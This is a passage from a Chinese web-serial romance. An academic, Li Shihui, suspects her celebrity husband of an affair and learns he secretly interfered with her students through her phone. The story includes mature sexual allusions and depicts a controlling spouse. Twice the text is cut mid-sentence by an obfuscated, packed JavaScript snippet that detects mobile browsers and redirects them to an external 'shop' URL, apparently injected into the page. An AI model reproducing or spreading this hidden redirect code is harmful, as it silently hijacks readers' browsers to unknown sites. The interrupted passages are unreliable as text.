故事的梗概是,李施惠和她的丈夫初中时就是关系很好的朋友,后来上了高中,她开始暗恋他,但对方那时已经有个光芒万丈倾国倾城的女友。 前女友追她的丈夫追得轰轰烈烈,但甩了她丈夫出国的时候也无情决绝,她丈夫被甩后深受情伤,直到和李施惠在一起前,再没谈过恋爱。 据李施惠猜测,他们分手的原因可能是,前女友嫌弃她丈夫很穷,他们不是一个世界的人。 哦,这是个穷小子为打脸前女友逆袭成富一代的故事。 粟娇撑着脸,津津有味地听李施惠丈夫和前女友的故事,认为自己手边少盘瓜子。 “但是他特别厉害,我上大学的时候,他就赚了一些钱,然后……可能是因为一些意外,还有我做了很多让他感动的事情,他和我结婚了。” 李施惠讲到此处,不禁惆怅。 她一直觉得,江闽蕴对她的感情中,爱情的占比很小很小,责任的占比很大很大。 “他的前女友一直在国外,应该是移民,不知道为什么,最近又回来了,可能回到国内发展事业?据说……还是单身。” 李施惠的手指蜷缩起来,不知道接下来该怎么讲。 “你在担心什么,是怕他们再次有交集?” 李施惠没说话,面色纠结。 “还是他们已经有了交集?” 李施惠点点头,粟娇不得不佩服自己的敏锐。 三十岁,功成名就的男人,遇到依旧美艳但嫌弃过自己没出息的单身初恋,就算还没发生实质性的关系,内心要说没有胜负欲和蠢蠢欲动的怀念,基本是不可能的。 “是……什么样的交集呢?” “两个人一起吃饭。”李施惠组织措辞,“我旁敲侧击问了他,他说……是和别人,但是,我想应该没发生什么,然后就是昨天,他们打了电话……” “你竟然认为没什么?”粟娇被李施惠迟钝的表现惊呆了,连忙打断。 她差点拍桌而起:“隐瞒你和初恋单独吃饭的事情,还私下联系,如果没鬼,干嘛不告诉你?伊还木知木觉,真是要命!” 气得她方言都飙出来。 李施惠一急就有点结巴:“他们就、就吃了两个小时,他就回家了,能做什么?” 下意识,李施惠还在替江闽蕴解释。 “你说呢?” 两个小时,正常男人都能打一炮了。 一片“完了完了完了”的红字飘过粟娇的脑海,从李施惠的消费水平和收入水平,她推断得出李施惠的丈夫应该是个年入至少几百万,对生活有一定追求的男人。 而且愿意对老婆好,说明懂浪漫,有情调。 这样的男人身边的诱惑数不胜数,比起白月光一样的初恋来说,糟糠之妻又算得了什么? 她怜悯地看着不算漂亮的李施惠,一个大学老师,说来体面,但没有卷王的能力与才华,又没有强势的关系和背景,甚至不能保证这个职业是个铁饭碗。 更糟糕的是,李施惠好像没意识到事情的严重性,懵懵懂懂问:“所以他真的出轨了吗?我是不是应该先问问他。” 粟娇恨铁不成钢地扶着李施惠的双肩摇晃:“他要是真的出轨了,你问他他会说吗!” “我……还是问问……”李施惠咬着牙,手微微颤动,拿起手机,又啪嗒摔在桌面上。 粟娇抱住李施惠。 一开始,她认为在偌大的理工学院里,从品牌偏好,到配饰细节,只有李施惠和她的消费品味一致,虽然对方总能在一堆最新款式里找到最保守最土的衣服,但戴什么手表,穿什么鞋,又考究到让她找不出第二个如此合胃口的人。 接触后,却发现对方对她说的内容一窍不通,反倒是听到自己衣服的具体价格,面露惊讶。 直到深入聊天,粟娇才知道这个性格温柔内敛又包容的姐姐,生活上的一切竟然都是另一个不曾出现过的男人在打点。 粟娇背后发冷,悲哀地想,男人好起来能把你捧上天,但坏起来也能把你扔进冰窟里。 “你不如想想,如果他真的出轨了,你要怎么办?” 粟娇帮她出谋划策,“你可以找个私家侦探跟拍,收集证据。” “不,不用了。”李施惠想到江闽蕴的职业,果断拒绝粟娇的建议,“如果真的出轨了,我会和他离婚。” “万一他转移财产呢?这个才是最重要的,钱在哪爱在哪,男人把钱给了小三怎么办?这种男人最心狠了!”粟娇说着说着越来越激动,“不行,我给你介绍个离婚律师,你先咨询一下。” 粟娇准备掏手机的手被李施惠按住,李施惠看着她,眼睛湿润但冷静地说:“没必要,我会先去问他事情的真相,如果他真的出轨,我不会要他一分钱。” 她和江闽蕴的收入放在一起,家庭支出全是江闽蕴在承担,但和大多数家庭不同,李施惠的工资卡是完全上交给江闽蕴的,日常支出走江闽蕴的副卡,江闽蕴具体有多少钱,李施惠并不清楚。 “你傻啊!”粟娇眼中的李施惠简直不可理喻,“这可是你十年的青春啊,一个女人最宝贵的十年就是二十岁到三十岁,你说不要就不要,你知道赚点钱有多难吗?你离婚后还想随随便便住大别墅穿几万块的衣服,你得接多少个横向呀。你是故作大方了,倒白白便宜那个死小三!你可别窝囊着自己,结果把我气死了!” 噼里啪啦说一大串话,粟娇累得大喘气,捂着胸口瞪李施惠,李施惠低头不语。 过了半分钟,她冷静下来,自觉失言,镶着长甲的葱白手按揉太阳穴,温声劝:“不好意思,是我太激动了。惠姐,我也是为了你好,我们可是爱情互助小分队啊,你不要太善良太圣母,爱情能当饭吃吗,钱拿到自己手里才是最重要的。” 李施惠帮过她,她也要帮助李施惠才对。 粟娇是真好心。 李施惠沉默了很久很久,忽而轻笑一声。 她非常清楚地知道粟娇说的是对的,可她就是不想那样做。 她抬起脸,问了粟娇一个风牛马不相及的问题:“你洗过盘子吗?不是在家洗,是在饭馆的后厨,从早到晚站着洗。” “不对,你肯定没洗过。” 想起对方的背景,李施惠失笑,很慢很慢地自问自答:“我洗过,特别累,每次洗完,手是肿的,腿是麻的,我曾经发誓好好读书,就是为了摆脱那种生活。现在我好歹博士毕业,即使离婚,住不起别墅穿不了奢侈品,但我有能力养活自己。” 李施惠对粟娇露出一个略带悲伤的微笑。 粟娇震惊地看着李施惠,她当然没干过这么苦累的活,不过,她也没想到李施惠干过。 其实她很少像现在这样,仔细去看李施惠的脸。 除了鼻子略为别扭,有点整感外,李施惠的五官虽称不上惊艳,但很舒服,会让人评价这是个温柔贤淑好女人的舒服,身上没有俗尘的味道,所以想不到她那么苦过。 “我不想让爱被金钱衡量价格。所以比起分财产,可能我更难过的是没有获得对等的爱。” “也许你笑我很天真。” 唇角被浅浅提起,李施惠看向落地窗外不够晴朗的天色,“但这么多年,我一直在提醒自己,不要变成疯子。无论和谁在一起,好聚好散,就够了。更何况,我已经得到过我最想要的东西,只是没能够拥有过它最好的形态,略有遗憾,仅此而已。” 冷然的白光打在她的鼻梁上,分割出明暗交织的两面。 粟娇忽然意识到,眼前的李施惠似乎和那个她以为的,单纯的,迟钝的,宽容的人设相去甚远。 真正的李施惠被一层压抑的厚壳死死封住,在某些触及深处的时刻,才会从裂缝中流出一丝真实。 至于原因,无人知晓。 粟娇读不懂这样的李施惠,但她感受得到,李施惠对那个男人的爱,只露出冰山一角,远不及她表达出的万分之一。 “惠姐……”粟娇甚至不知道该怎么安慰她,心里也替她难过。 李施惠极为难得把自己的心里话吐出来,轻快又难堪,撑着笑:“工作吧,还是赚钱比较要紧,不是?” 在一片静默中,李施惠的电话响起,显示“老公”二字。 当着粟娇的面,李施惠接起电话。 “检查结果怎么样?”男人的声音低沉温柔。 粟娇不便留在这里,起身的一瞬间,听见话筒传来失真的男声,莫名想到一面之缘的江闽蕴。 下一秒她就认为自己在异想天开,毕竟李施惠追星入迷,老公的微信头像都和江闽蕴微博的一样。 办公室的门被合上。 “检查没有问题。”李施惠吸吸鼻子,握着电话,语气平缓,“医生说,我挺健康的,适合……适合生育。” “嗯。” 江闽蕴盯着化妆间的镜子,顺着她的话发出一点附和的语气词。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15881959|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想自己应该要说些话,像正常的丈夫对妻子说的那种期待的祝福的话,但张口,却发现死活说不出来。 李施惠没有等到江闽蕴的表态,心生犹豫,放低声音询问: “你……愿意也去检查一下吗?” 两个人都去查一查,如果实在不行,就做试管试试? 不过现在,还有必要讨论怀孕的事情吗? 李施惠沉浸在沮丧的情绪里,连语气也是挫败的,见对方沉默下去,正准备转移话题,询问对方梁辛玉的事情,就听江闽蕴的声音突兀地抬高一点,问:“你是说我不行?” 他故意曲解她的意思,“这么多年,哪次你没爽到?” 李施惠不懂为什么讨论备孕也能牵扯到这些话题,揉了揉湿润的眼睛,急忙解释:“不是,我查了一下,太、太浓也、也可能不行。” 这不算是说他不行吧? “哦,”江闽蕴被她讨好的话逗得有点热,“那怎么办,我要多喝水稀释一下,还是……”他低声说了一个让李施惠顿时脸通红的词。 “你不要突然耍流氓好不好?”她满脸通红,闷闷替自己辩解,“因为医生说,如果查不出原因,我就要打促排卵针……” 江闽蕴不当回事地轻哼,“是么。” 那就打啊,反正痛的是你。 想着想着,腹部又传来轻微刺痛。 “嗯,所以你先去检查身体,然后我们一起努力。”李施惠在电话另一端无知无觉地鼓励。 把ml说成努力,不愧是好学生。 “好啊。”江闽蕴满口答应。 想起李施惠曾教育他,只有努力不会辜负期望,不知道在这件事上,她再努力十几二十年,会不会有所收获。 江闽蕴看着化妆镜里被打理过的精致脸庞,镜中人的多情眼里露出恶劣的笑。 身后的门被突然推开,热情的女声传进电话这边:“闽蕴哥!导演在叫你呢!” 从来没人能不经允许直接进入他的化妆间。 镜中人脸色极差,瞪视来人一眼。 “是谁在叫你?”李施惠敏感地问了一句。 江闽蕴看着站在他背后笑得一脸无辜的梁辛玉,吐字:“工作人员。” 工作人员会叫他“闽蕴哥”吗? “那个……你等一下!”她还想再问问梁辛玉的事,江闽蕴在电话那头几乎同时出声:“导演有事,我先挂了。” “嘟——嘟——” 电话被火速挂断。 望着手机,李施惠再次陷入不知所措的境地。 “抱歉啊,我是来找庄总的。”梁辛玉笑嘻嘻,“刚好碰上导演在找你,就帮他喊一声,没打扰你们吧?” 江闽蕴一言不发,推开门,小方站在门外守着,见到他叫一声:“江哥,导演在找你。” “以后没有我的允许,别让闲杂人等直接进来。” “好的,江哥我记住了。” 小方点头称是,悄悄扫一眼江闽蕴身后脸色五彩纷呈的梁辛玉。 想起昨晚的事,他暗自腹诽,梁辛玉是他的闲杂人等? 做明星助理这些年,小方见过不少腌臢事,对于已婚男人沾花惹草更是见怪不怪。 昨天江闽蕴接到电话后火速带着他离开片场去接梁辛玉的样子,很难让他不产生某种桃色联想。 这是,翻脸不认人? 梁辛玉僵着笑脸,跟江闽蕴走了一段,看着他:“闽蕴哥,我昨天还以为,你和以前不一样呢。” 小方在不远处,江闽蕴看他一眼,才把视线落回梁辛玉那张脸上。 “我是为了梁辛彦。” 江闽蕴神色冷淡,“如果是谈合作,我会争取给你最好的条件,下次再发生这种事,我不会管你。” “别再来片场,”他转头看她,维持彼此最后的体面,“庄合已经很多年不跟我的行程。” 他大步向前走,梁辛玉看着他一如十几年前高大又潇洒的背影,慢慢握紧拳。 江闽蕴。 她还在深水里挣扎,凭什么他早早爬到岸上? 走出片场,梁辛玉的电话响起。 “梁小姐,那支录音笔已经修好了,要把里面的文件拷贝发给您吗?” 梁辛玉本想答应,转念一想:“不用,你直接把笔送到我公寓。” 页面切回微信,点开庄合的聊天框,梁辛玉发了条甜蜜的语音:“小合哥,我最近在京市,有空一起吃个饭吗?” 11.激情拥吻 李施惠在心神不宁中度过一天,都没有发现原本约好给她看论文初稿的同学没来。 再次发消息催促对方,得到的回复是忙忘了。 李施惠没有细究原因,和对方重新约好两天后见面。 两天,她想,刚好处理完学校的事,江闽蕴也回来了。 空出周末,可以和江闽蕴认真聊聊。 沉下心备课,看论文,肩膀又隐隐作痛,李施惠熟练地揉着患处,在指针转向五点前,她看完两篇前沿论文,然后立刻把解读版本发到她手下本硕博研究组的大群里。 一个同学发“老板辛苦了”,然后是几个“老板辛苦了”/“点赞.jpg”/“谢谢老师”的接龙。 她戳了一个混迹在其中的博士生私聊:“这篇文章提到的多模态具身模型,对于你课题里具身交互的机制有一定启发,读完后我们交流一下思路。” 对方半天没回。 李施惠苦笑,幸好微信没有文件下载量显示,要是看到下载量为0,她会很伤心吧。 无精打采地靠在工学椅上,李施惠是丧气的,人们总说事业与爱情难兼得,但她好像是事业与爱情兼不得。 算了,万般情绪皆下品,唯有科研留我名。 实验室两天没去,科研经费遥遥无期,一篇打算投递一区的论文还没写完。 她有什么资格停止努力? 李施惠越想越头大,从活页日历上取张纸,打起精神开始写to do list,下定决心从明天开始和同学们一起泡在实验室里,不再荒废事业。 —— 翌日。 江闽蕴拍完新一期奢牌代言广告,回到在京市的房产里休息,小方告诉他庄合来京市了。 “庄总说晚上请哥和辛玉姐一块吃饭。”他转述庄合的电话。 江闽蕴表示知道了。 他翻通话记录,想给李施惠打个电话。 都快按下通话键,手指还是移开。 江闽蕴知道自己在逃避,他不想听她讲任何关于孩子的事情,又不想浇灭她的热情,看见她倾注如此多的爱与期待,江闽蕴暗戳戳地恨她,想报复性地让她扎几针,然后把人搂在怀里,说自己担心她,心疼她,要不算了。 完美的结局。 可最后还是不舍得让她受苦,只好一直拖着。 江闽蕴躺在在京市的住处里,度过孤独寂寞的下午。这套房是地处CBD的大平层,买下装修后李施惠还没来过,江闽蕴在京市赶通告,就住在这里。 深深陷入柔软的大床,江闽蕴点开手机的加密相册,输入五次不同的密码。 身为公众人物,本不应该存放私密的东西在随身携带的电子设备里,以防遗失后被人获取威胁,但江闽蕴的工作性质决定了他经常会离开李施惠身边十天半个月以上,久到让人难以忍受的时间跨度。 日积月累,他攒了一些不拍脸的图片和视频,用于消遣寂寞时的放纵。 戴着耳机,视频中的李施惠很乖,像小狗露肚皮,握着或者让他蹭,微微喘气。 有一次李施惠不知道为什么对他特别好,什么都答应他。 那段视频正中是他提着她的脚踝的手,上下晃,他得寸进尺,偷偷摸过手机,李施惠其实没发现,但因为他大胆的动作,脸红红的,咕哝一句:“江闽蕴,你好坏。” 视频里的他做贼心虚,吓一大跳,方向歪了,下一秒,镜头被弄脏,糊成虚影。 江闽蕴吃完不知道热过几遍的剩菜,有种空能饱腹的寂寞感。 好累,不想演戏,不想拍广告。 不过如果李施惠是他的助理,他一年可以拍367天,直到他被爆出精尽人亡于助理床上这种天雷滚滚的消息。 江闽蕴抬起手,遮住自己的眼睛,想起刚和李施惠结婚的时候,两个人很年轻也很不知节制。 他那时候虽然已经拿了个新人奖,但因为是文艺片受众不广,顶多算是三线艺人,无人在意。 趁着李施惠保研的暑假,把人带到剧组当了两个月生活助理,每天最期待的就是下了戏回酒店和她厮混。 那他妈才是他的理想生活啊。 可惜后来再怎么逼她都不肯了。 女人永远这样,得到就不会珍惜。 临近晚餐时间,江闽蕴坐在去餐厅的车上,给李施惠发了条消息,问对方吃饭了吗。 一直没回。 李施惠按照计划把时间安排得满满当当,一忙就废寝忘食,八点多才看消息,不想让江闽蕴担心,回他:“吃过了。” 她跑到学校便利店买了个饭团,坐在一群闲聊的学生中埋头吃。 “笑死了,这个老师也太奇怪了吧。”两个女生坐在位置上刷论坛。 又是学生们的吐槽时间。 “这是新时代娇妻吗?性缘脑好可怕,这下谁敢找这个老师啊,说得跟有什么一样。” “我~老~公~回~家~了~” “哈哈哈,你模仿得好像。” “我靠,你看看这条,怎么感觉其实做她的学生有点香?土豪分分钟十几万上下啊。” “有这样的老公你几点回家?” “我去别逗!OMG,是不是有人解码了,控制学院?” 控制学院? 吃瓜吃到自己学院了?李施惠咀嚼的动作停滞一秒,把饭团往下咽。 “l-s-h是谁?” “打开控制学院的教师主页搜一下不就知道了?” “找到了找到了,李……施惠?” 我? 什么事? 一粒米饭呛到李施惠的气管里,她捂着嘴惊天动地地咳嗽,脸憋得通红,那两个女生看她一眼,嫌弃地站起来,往外走。 “看照片,长得也就那样啊,博士毕业也爱当娇妻吗?”声音渐渐远去。 李施惠想叫住她们,却发不出声音,嗬嗬喘气。 难受到爆炸。 直到终于把米饭咳出来,抓起手机,立刻给粟娇发消息:“校园论坛怎么上?” 粟娇冲浪在第一线,秒回:“我已经打电话给管理论坛的同学删帖了,没什么,你别看。” 李施惠放下饭团,从尾椎窜起大事不妙的森冷寒意,严肃回复:“把帖子截图给我,我必须要知道发生什么事了。” 过了一分钟,粟娇发了几张截图给她。 帖子匿名发在郁闷心情,标题是:明天要见娇妻导师怎么办? 配了一张图,图上的楼主给导师发了几个问题,结果楼主导师只回了一句:“我老公回家了,以后晚上别发消息。” 楼主道歉后,导师没有对他的问题给出任何解答,反而在几天后问他,论文初稿是否准备好。 2L:楼主实惨,怎么会有这么不负责的导师? 3L:同一个课题组bd,我收到过一模一样的短信。 4L:本科生知道是哪个老师……坐标控院。 5L:wc楼上求解码,控院保研想壁垒。 …… 25L:说点题外话,该老师特别有钱,开帕拉梅拉上下班,戴过几百万的表,我上过她的大课,被闪瞎了,估计是家里有矿纯躺平。 …… 37L:后排解码,控院LSH,听她学生说老师平时还是非常负责的,但是偶尔会发这种莫名其妙的短信。 …… 51L:后后后排分享一个故事,该老师资助过一个学长,多补贴一点工资那种,学长也很努力替她工作。结果应该是老师的丈夫吧,开小号加学长,给对方打了三十万,让学长不要经常找老师,学长一气之下换了导师。 52L:我擦,绝配,锁死,学长也是他们play的一环吗? 53L:回楼上,如果消息属实,我接导师老公给我三十万。 54L:每个人心境不同啊,宁饮盗泉之水,不受嗟来之食懂不懂,楼上站着说话不腰疼吧。 56L:刚刚去看这个老师的主页,F大本博,Top3啊学历不错,但是科研成果真心蛮一般的,两年都没拿青基,心思没放在学术上吧,难评。 …… 李施惠整个人无意识地发抖,寒意从心脏浸润四肢百骸。 她还记得51L提到过的那个学生,事情就发生在去年。 连续三天,李施惠撞见本校大四提前进组的男孩在实验室里吃包子,同门向她反馈,平日里的聚餐,这个性格略为孤僻的男孩也从不参与。 李施惠背地里翻看男孩的信息,发现他出身贫困村,领学校最高档的助学金,但家里有正在上学的妹妹和因病致贫的妈妈,因此生活依然非常拮据。 李施惠对学生时代拮据窘迫的境遇感同身受,私下找到男孩,让他抽时间替她做一些额外的助理工作,包括批改大课作业和整理数据,每个月自掏腰包多支付他两千块的工资,还给他介绍了一份实习。 男孩知恩图报,和她的关系也不错,算是和她在微信上交流比较频繁的学生。 江闽蕴不是没有问过她这个男孩是谁,但她那时明明认真和他讲清楚了这个学生的处境,以及她资助他的理由,江闽蕴也表现出理解的样子。 结果有一天,男孩告诉她,因为他在她手下压力太大,所以想换个导师。李施惠一直以为是自己能力不够,所以对方不愿再跟自己读研,对方申请换导师后她想过找对方聊聊,却被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15885385|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷然拒绝。 李施惠没有办法,男孩态度太过于决绝,在学院出面干涉前,她同意了男孩换导师的请求。 后来她们偶尔在学院的工位或实验室碰头,那个男孩看见她,就会装作不认识,冷漠地掉头离开。 事后她还十分难过地和江闽蕴倾诉,江闽蕴安慰她,这个学生是个白眼狼,不是她的错,因此她从来没有怀疑过这件事和江闽蕴有关。 可现在竟然有人告诉她,这一切都是江闽蕴在背后捣鬼? 被米饭卡过的喉咙泛着难忍的刺疼,李施惠没忍住,又咳了两声。 李施惠自认为对学生不错,不占一作不克扣月钱,节假日会发奖金和红包,日常的零食奶茶记得投喂,答疑解惑也很积极。 对于像这个男孩一样家庭比较困难的同学,她都会自掏腰包进行补贴,因为她吃过一边读书一边还要为了生计而打工的苦。 一些从来没有在意过的细节随着粟娇截图的内容在回忆里变得痛苦而清晰。 前几天她找不到和学生的聊天记录的奇怪事件,也终于有了解释。 对方聊天截图里有问题有道歉,而李施惠的聊天记录里却一片空白。 泪水渐渐模糊双眼。 李施惠不知道为什么江闽蕴会在背后做出让她如此难堪的事情。 她全身心都给他,无限让渡自己的权利,允许他随意翻看手机,允许他干涉自己的社交。 他可以吃醋,可以不开心,但是明明能够选择正常的和她沟通的方式解决问题,他偏偏选择出言不逊,删除消息,伤害别人。 双手撑住便利店的桌台,抱着脑袋,简直不敢深想,他用她的手机干了多少次类似的事情。 粟娇给她打电话,打到第五个她才接听。 对方安慰她帖子已经删除,如果和学生有矛盾可以私下里沟通,学院也可以帮她出面组织一个座谈会安抚大家的情绪。 李施惠喉咙里像是塞了团棉花,堵着说不出话来。 她要怎么办,她该怎么办,到底怎么做才能安抚受伤害的人? 江闽蕴是个疯子! 江闽蕴真的是个疯子! 坐在人来人往的便利店里,李施惠泣不成声。 她擦干眼泪,疯狂给江闽蕴打电话。 她要听他的解释! 她要他道歉! “您拨打的电话暂时无人接听——” “您拨打的电话暂时无人接听——sorry……” 直到便利店准备打烊,只剩她一个人坐在高脚凳上,对方的手机依然显示无法接通的状态。 李施惠这才发现一个可悲的事实—— 江闽蕴随时可以干涉她事业中他看不顺眼的一切,而她却连他的助理,他的经纪人的电话号码都没有。 当江闽蕴的手机关机,她与他的世界彻底失联。 真可悲,真可悲。 浑浑噩噩回到家,第一个给她发短信的人竟然是林至承。 “还好吗?我听粟小姐说你心情不好。” “在不清楚另一半人品的时候,备孕不是理智的选择。” 真是好事不出门,坏事传千里……粟娇为什么要把这件事告诉林至承? 让她在竞争对手面前又丢脸了。 糟糕透了,这几天,全都他妈的糟糕透了。 李施惠没有回复。 瘫倒在书桌昂贵又舒适的椅子里,李施惠只有如芒在背的针扎感。 但该承担的责任还是要承担。 她坐在书桌前,想了半天,把责任都揽给自己,承认自己措辞不当,伤害了同学们。 给学生们写了一份手写的道歉信,拍照发在大群里。 几个女学生给她发私信,安慰她,鼓励她。 她诚恳回复:谢谢,真的非常对不起,我以后绝对不会让私事干扰到工作,希望你们能原谅我。 到后半夜,万籁俱静,李施惠像雕塑一样,仍旧坐在椅子里。 她在等江闽蕴的电话。 她要第一时间接到江闽蕴的电话,把一切都问清楚。 李施惠没有办法抑制住自己内心的执拗劲。 又或者说,她为了别人,打破了内心恪守的那份禁止偏执的教条。 李施惠原本以为这个难熬的夜晚会以江闽蕴的电话结束。 可现实对她的打击远远不止于此。 失眠到凌晨五点,说不清是为了等待江闽蕴的消息而坚持,还是单纯想用这种苦等将自己塑造成某种悲情角色。 李施惠第一时间看见一条娱乐新闻冲上热搜,带着一个刺眼的“爆”字。 “江闽蕴梁辛玉夜店激情拥吻!” 12.抢过来 路新程没有如约来找李施惠。 大概是吐槽老师还掉马的羞耻,他给李施惠编辑了一条长长的道歉信,附带自己的论文初稿,发送到李施惠的邮箱。 李施惠想,这样也好。 太久没有通宵,她熬夜熬得头昏脑胀,要是指导他出了错,恐怕又要惹出什么笑料来。 桌面上手机不停在震动,从早上八点一直到现在,江闽蕴的电话持续不断在打进来,微信和短信的消息也被塞满,全部是他的车轱辘话。 解释昨晚为什么没回电话,解释和梁辛玉在一起的原因,解释新闻里的拍摄是错位的,解释他和梁辛玉什么都没有发生,翻来覆去就是这些。 李施惠没有回复。 熬过昨晚的情绪失控期,她现在的内心十分平静。 可能是把一切都看清楚,李施惠终于开始疑惑,前两周明明已经因为江闽蕴隐瞒与梁辛玉见面和冷落她两个月的事在闹离婚,后面为什么突然就和好了呢? 好像是因为,江闽蕴突然开始“爱”她了。 黏着她,抱着她,离不开她,处处哄着她,让她差点记不起来那其实只是一个在醉酒意外睡了她之后高高在上地说“我可以用恋爱补偿你”的流氓而已。 可是她已经爱了这个流氓好多好多年。 门外传来敲门声。 李施惠已经挂了“请勿打扰”的告示,不由皱眉。 她今天一个人也不想见。 “进。” 叹息,万一是急事呢? 进来的人居然是林至承。 看着那张熟悉又陌生的英挺面庞,李施惠浆糊一样的脑海里只有四个字。 阴魂不散。 “抱歉,”李施惠撑着额头,神情无奈,“今天没有精力接待老同学。”没有精力四个字咬得特别重。 她不想见到林至承,尤其是在一些特定时刻。 以前是在每次考试的放榜后,现在是在她面临丈夫出轨和教师失格的双重打击下。 林至承摇摇头,感叹,“李施惠,你还是像高中时那么紧绷。” 可能在林至承这种天才眼里,她们这种普通人无论多么努力,永远只是愚公移山一样无用且费力的存在。 李施惠本来懒得与之争辩,大概是想起那句“眼光很差”,新仇旧怨一起涌上心头。 你以为你是谁? 丝毫不了解我,却喜欢对我指手画脚。 “林至承。”李施惠挑起一点唇角,讽刺地说,“你也还是像高中时那么傲慢。” 也许很早以前,她就该对林至承说这句话。 傲慢,看不起人,就是林至承在李施惠心中的代名词。 她原以为,说出这句话,会彻底撕碎他们虚与委蛇的塑料同学情。 然而,林至承反而露出轻松的表情:“终于说出来了,你心里是不是舒服点?” 李施惠脸上闪过几秒空茫,大脑过载。 什么意思? 林至承竟然没有因为她的话而突然生气,真是出乎意料。 “你需要一个情绪宣泄的出口。” 林至承比了个开闸的手势,“我理解你现在心里很乱,有没有想过做点别的事情分散注意力?” 林至承对她展露的尖锐毫不在意,倒让李施惠一拳打在棉花上,自觉小肚鸡肠了。 闭了闭眼,李施惠听见自己轻声问:“什么事?” “和我一起去听分享会,就在今天下午。”林至承手里夹着一张邀请函,很自然地坐在会客椅上,“这次我和Ramesh教授一起回国,他在你的母校F大开关于具身智能前沿动向的分享会。” “最近很忙,要完成中期考核。”李施惠其实并非不心动,她只是不想和林至承在一起。 看李施惠无精打采的样子,林至承笑笑:“几个小时而已。我确信,Ramesh教授是唯一一个能让任何人听课都不犯困的好老师,而且,业界也有不少人会去,比如韵融科技的翁之韵博士和宁隽融博士,你拓展一些业界的人脉,至少能让科研经费有着落,不是吗?” 他的一番话几乎把李施惠所有的痛点都解决了。 科研经费,或者说大学老师的收入和成果,很大一部分来源于业界赞助的横向项目。 这份邀请是块十足诱人的肥肉,李施惠没道理拒绝。 他对昨晚与李施惠息息相关的两个劲爆八卦只字不提,这让李施惠稍微好受一点。 能出去走走,她的心情也松快些。 “你的手机……有电话打进来?”李施惠习惯了手机震动的声音,一时没注意,让林至承看着她的手机在桌面上震动了十几分钟。 摁下关机键。 李施惠淡淡解释:“诈骗电话。” 林至承莞尔,不戳破:“李施惠,我请你看分享会,你是不是应该请我吃顿午饭。” 抬眼看看手表,竟然已经中午十二点,一肚子气,李施惠丝毫不饿。 “就算你不请我参会,我也会请你吃饭的。” 李施惠摸着鼻子和他客套,害怕鼻子变长。 她从椅背后拿起自己的麂皮外套,礼貌询问,“在校内贵宾厅吃如何?我发誓很好吃。” 反正中国人不骗中国人,但是林至承是m国人。 “我不挑。”林至承摇头,“按你的口味来就好,记得让我吃饱。” 李施惠答好,忍着在前面带头走了段路,还是笑了。 内心阴沉的乌云拨开一小块天空。 林至承后来放下筷子,用纸巾擦嘴的时候点评:“你的口味真不怎么样。” 一语双关。 下午两点,她们步行走进F大的校园,前往F大金色会议厅。 从F大毕业后的三年里,李施惠很少回到这里。 比起明城大学著名的樱花,F大只有郁郁葱葱的梧桐柳树,少了那么一点浪漫,但多了很多生机,这次李施惠提前准备了口罩,还分了一个给林至承。 “这儿柳树比较多,戴口罩能预防柳絮过敏。”李施惠熟练地提醒他。 林至承翻过来一看,某个奢牌老花款式的口罩,想也知道是谁买的。 戴上口罩,闲适地走在李施惠身侧,主干道的车流从他身边川行。 “你什么时候患上了鼻炎?”他问她,“我记得高中时学校里也挺多柳树,但不见你有什么反应。” 你竟然还能记得这些? 李施惠失笑。 “大学的时候,鼻子做了个手术。”李施惠模凌两可地答,抬手隔着口罩又摸了摸鼻尖。 □□的伤痕,会将记忆刻入骨血,每当她碰触此处,江闽蕴的名字就会带着无尽酸疼从她心底翻涌而上。 林至承没有追问,若有所思地点点头。 难怪同学聚会时,总觉得李施惠的长相有哪里发生了变化。 讲座持续了整整两个小时,高潮迭起。 李施惠自己作为一个讲师,一直觉得很难把纯工科的枯燥逻辑讲解得透彻又有趣,但林至承没有骗她,Ramesh教授实在是太有魅力的人,讲具身智能交互逻辑时穿插的小笑话让所有人会心一笑,讲产业应用前景的时候又听得李施惠支起脖子心潮澎湃,难怪连林至承这样木头一样呆板的人回国后都能把小姑娘逗得满脸飞 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事业得意情场也得意,宁总是翁总读博时的师兄,其父是Q大自动化系的知名教授,两个人博士在读就结婚生子,听说宁总带了段时间孩子后重新出山,出手第一篇文章就带着韵融科技上了顶刊,但性格不骄不躁,兢兢业业在翁总的指导下勇攀高峰,二人婚姻稳定,没有任何情感不和的传闻。 怎么会有人什么好事都占了。 人比人真的是气死人啊。 林至承突然转过头来盯着李施惠看,吓了她一跳。 他朝她靠近一点,李施惠便与他同向挪动一点。 林至承的气场太可怕。 “你盯着我看,在想什么?”林至承一定是误会她了,但他也没给李施惠解释的机会,自己把话接了,“我刚刚在想,要是当年不是只欠东风,而是捷足先登,也许我也会过上和宁总一样神雕侠侣的生活。” 啊……突然从科教频道切换情感电台,李施惠措手不及。 她想起粟娇口中林至承的那个初恋,有点尴尬,自己实在不是一个适合和林至承谈论感情问题的对象,毕竟人家都说了,她眼光很差。 李施惠现在是彻底拜倒在这句话面前。 “你对此没什么看法?”林至承见她不接自己直抒胸臆的感慨,又追问道。 “嗯?”李施惠一头雾水地点点头,说了句废话,“那该怎么办呢?她……结婚了吧?” 眼高于顶的林至承能看得上的优秀女人,应该早就觅得良人结婚了吧? 林至承短促笑一声,给她回答:“那又怎样,抢过来啊。” 李施惠真吓一跳,林至承是不是出国太久不懂基本法?对,出轨不犯法,但是强抢民女犯法啊。 